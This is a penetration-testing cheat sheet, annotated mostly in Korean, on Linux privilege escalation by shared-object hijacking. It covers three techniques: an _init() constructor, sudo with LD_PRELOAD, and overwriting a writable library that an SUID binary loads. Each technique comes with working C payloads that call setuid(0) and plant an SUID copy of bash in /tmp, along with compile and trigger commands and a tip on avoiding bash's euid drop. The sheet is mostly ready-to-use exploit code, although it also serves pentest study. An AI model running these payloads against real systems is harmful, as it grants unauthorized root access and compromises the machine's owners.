Shared Object (.so) Hijacking

enumeration

ldd /bin/ls

evil.c:

#include <stdlib.h> 
#include <unistd.h> 
#include <sys/types.h>
 
void _init() { 
	setgid(0); 
	setuid(0); 
	system("cp /bin/bash /tmp/bash && chmod 4755 /tmp/bash"); 
}

Compile:

gcc -shared -fPIC -nostartfiles evil.c -o evil.so

bash에 SUID 설정 (system 미호출)

#include <sys/stat.h>
int main() { chmod("/bin/bash", 04755); return 0; }
  • system()을 호출하면, /bin/sh -c를 호출하는데, 해당 쉘이 dash인 경우 문제없지만, bash를 호출하는경우 euid가 떨어질 수 있다.
  • chmod를 곧바로 호출하는것이 좀 더 확실한 exploit이 될 수 있다.
/bin/sh -> dash (Debian/Ubuntu 계열)
- euid 강등 없음
 
/bin/sh -> bash (CentOS/RHEL 계열)
- euid 강등 존재
- system()호출에서 euid(0) != ruid(1000)을 보고 euid를 1000으로 강등시킴

Sudo 바이너리(LD_PRELOAD)

조건

1. 대상 바이너리가 sudo로 실행 가능할 것 (sudo -l)
2. 대상 바이너리가 Dynamic Linking을 사용할 것 (ldd, file 등으로 확인)
3. /etc/sudoers에 Defaults    env_keep += LD_PRELOAD가 명시되어 있을 것.
 
kali@kali:~$ sudo -l
Matching Defaults entries for kali on kali:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:.../snap/bin, env_keep+=LD_PRELOAD
  • 3번 조건이 중요함. 해당 설정이 없으면 동적 링킹 바이너리를 sudo로 실행하더라도 커스텀 .so를 주입할 수 없다. (sudoLD_PRELOAD 환경변수를 삭제하고 프로세스를 실행한다.)
  • sudo가 아닌 단순 SUID 바이너리를 대상으로 후킹을 시도하는 경우, glibc레벨에서 보호 시스템이 동작하여 하이재킹이 실패함 (이 경우, 실제 호출하는 라이브러리에 쓰기 권한이 있는경우 여전히 하이재킹이 가능할 수 있음).
    • glibc는 바이너리를 실행하는 사용자의 eUID != UID인 경우, LD_PRELOAD를 무시한다.

evil.c:

#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
 
void _init() {
    unsetenv("LD_PRELOAD");
    setuid(0);
    setgid(0);
    system("cp /bin/bash /tmp/bash && chmod 4755 /tmp/bash");
}

컴파일:

gcc -shared -fPIC -nostartfiles evil.c -o evil.so

트리거 예시:

sudo LD_PRELOAD=/tmp/malicious.so /usr/bin/target

SUID 바이너리

  • SUID가 설정된 바이너리의 동적링킹 함수 하이재킹

SUID 바이너리 링킹 확인:

ldd vulnerable_binary
        linux-vdso.so.1 (0x00007ffe7dfbf000)
        libshared.so => /development/libshared.so (0x00007f06669b8000)
  • /development/libshared.so에 수정권한이 있는경우, 하이재킹 가능

오류 메시지를 통해 호출 함수명 확인 (혹은 strings로 확인):

$cp /lib/x86_64-linux-gnu/libc.so.6 /development/libshared.so
 
$./vulnerable_binary
<SNIP> ... undefined symbol: dbquery

evil.c:

#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
 
void dbquery() {
    setuid(0);
    setgid(0);
    system("cp /bin/bash /tmp/bash && chmod 4755 /tmp/bash");
}
  • 함수명 일치해야 함

컴파일:

gcc evil.c -fPIC -shared -o evil.so